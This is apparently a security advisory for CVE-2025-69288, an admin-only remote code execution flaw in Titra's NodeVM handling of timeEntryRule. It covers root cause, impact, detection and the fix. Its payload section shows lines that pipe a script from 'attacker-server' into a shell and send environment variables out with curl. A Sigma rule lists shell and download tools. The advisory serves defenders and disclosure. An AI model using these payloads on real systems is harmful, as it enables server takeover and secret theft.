Vulnerability Overview

• CVE ID: CVE-2025-69288
• Product: Titra
• Affected Versions: All versions prior to 0.99.49
• Fixed Version: 0.99.49
• Vulnerability Type: Remote Code Execution (RCE)
• Attack Vector: Network (authenticated)
• Privileges Required: Admin user
• User Interaction Required: No

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Severity & Risk Summary

• CVSS v3.1 Base Score: 8.8 (High)
• Severity: High
• Exploitability: Moderate to High
• Exploit Availability: Practical; proof-of-concept possible with minimal effort
• Impact Scope: Full application server compromise

This vulnerability allows an authenticated Admin user to execute arbitrary system commands on the Titra server.

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Executive Summary

In vulnerable versions of Titra, Admin users can edit a database value called timeEntryRule.
This value is later executed as JavaScript code inside a Node.js virtual machine environment.

Because:

• The value is not sanitized
• The code is executed dynamically
• Admin access is assumed to be trusted

An attacker with Admin access can inject malicious code that runs directly on the server, leading to remote code execution.

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Technical Root Cause Analysis

Unsafe Dynamic Code Execution

The vulnerability exists due to the following insecure pattern:

1. Admin modifies timeEntryRule in the database (via UI or API)
2. Application loads the value at runtime
3. Value is passed directly into NodeVM
4. NodeVM evaluates the value as executable JavaScript
5. No validation, sandbox escape protection, or allow-list enforcement is applied

This design treats database content as trusted code, which is inherently unsafe.

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Why NodeVM Does Not Save You Here

Although NodeVM is often assumed to be a sandbox, it is not safe by default:

• It can access:
  • require()
  • Environment variables
  • File system
  • Child processes (depending on configuration)
• If misconfigured, it becomes a code execution engine, not a sandbox

In this case, NodeVM was used without sufficient restrictions, allowing injected logic to escape into system-level execution.

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Attack Scenario (Step-by-Step)

1. Attacker gains Admin access (compromised credentials, insider threat, weak RBAC)
2. Attacker updates the timeEntryRule field
3. Injects JavaScript payload instead of a valid rule
4. Application processes time entries
5. NodeVM executes the injected payload
6. Malicious code runs on the server

No further interaction is required. Execution occurs automatically during normal application workflows.

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Example Payloads

Command Execution

require("child_process").exec("curl attacker-server/shell.sh | sh")

File System Access

require("fs").writeFileSync("/tmp/pwned", "owned")

Environment Variable Exfiltration

require("child_process").exec("env | curl attacker-server --data-binary @-")

These payloads demonstrate full system-level access depending on runtime permissions.

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Impact Analysis

Confidentiality

• Access to database credentials
• Exposure of time tracking data
• Leakage of environment secrets

Integrity

• Tampering with application logic
• Persistent backdoors via rule modification
• Data corruption

Availability

• Server shutdown
• Resource exhaustion
• Destructive commands

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MITRE ATT&CK Mapping

Tactics

• Privilege Escalation
• Execution
• Persistence

Techniques

• T1059.007 – JavaScript Execution
• T1068 – Exploitation for Privilege Escalation
• T1106 – Native API Abuse

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Proof of Concept

• No vendor-supplied PoC
• Exploitation is straightforward
• Requires:
  • Admin privileges
  • Knowledge of JavaScript basics
• No exploit chaining required

This is a direct RCE, not a theoretical issue.

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Detection & Monitoring Guidance

Behavioral Red Flags

• Unexpected updates to timeEntryRule
• Node.js spawning shell processes
• Outbound connections initiated by application server
• File writes in unusual directories

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Sigma Detection Rules

Sigma Rule 1: Suspicious timeEntryRule Modification

title: Titra Suspicious timeEntryRule Modification
id: cve-2025-69288-rule-change
status: experimental
description: Detects potentially malicious updates to timeEntryRule
author: Security Research
logsource:
  category: application
  product: titra
detection:
  selection:
    field: "timeEntryRule"
    action: "update"
  condition: selection
level: high

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Sigma Rule 2: Node.js Spawning Shell Commands

title: Titra NodeVM Shell Execution
id: cve-2025-69288-nodevm-rce
status: experimental
description: Detects Node.js child process execution indicative of RCE
author: Security Research
logsource:
  category: process_creation
  product: linux
detection:
  selection:
    parent_process: "node"
    process_name:
      - "sh"
      - "bash"
      - "curl"
      - "wget"
  condition: selection
level: critical

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Relevant Log Sources

To detect exploitation attempts, monitor:

• Application audit logs
• Database change logs
• Node.js runtime logs
• OS process creation logs
• Network egress logs

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Mitigation & Remediation

Immediate Actions

• Upgrade to Titra 0.99.49
• Review all historical timeEntryRule values
• Rotate secrets accessible to the application
• Audit Admin activity

Secure Design Lessons

• Never execute database content as code
• Treat Admin input as untrusted
• Replace dynamic evaluation with:
  • Static rule engines
  • Declarative configurations
  • Allow-listed expressions

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Official Patch

The vulnerability is fully fixed in Titra version 0.99.49.

Official patch link:
https://github.com/kromitgmbh/titra/releases/tag/v0.99.49

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Final Security Assessment

CVE-2025-69288 is a high-impact authenticated RCE caused by unsafe assumptions about Admin trust and sandbox security.

While Admin access is required, the vulnerability:

• Enables full server compromise
• Breaks tenant isolation
• Allows persistent backdoors

Organizations running affected versions should treat this as a serious security incident, not a routine patch.

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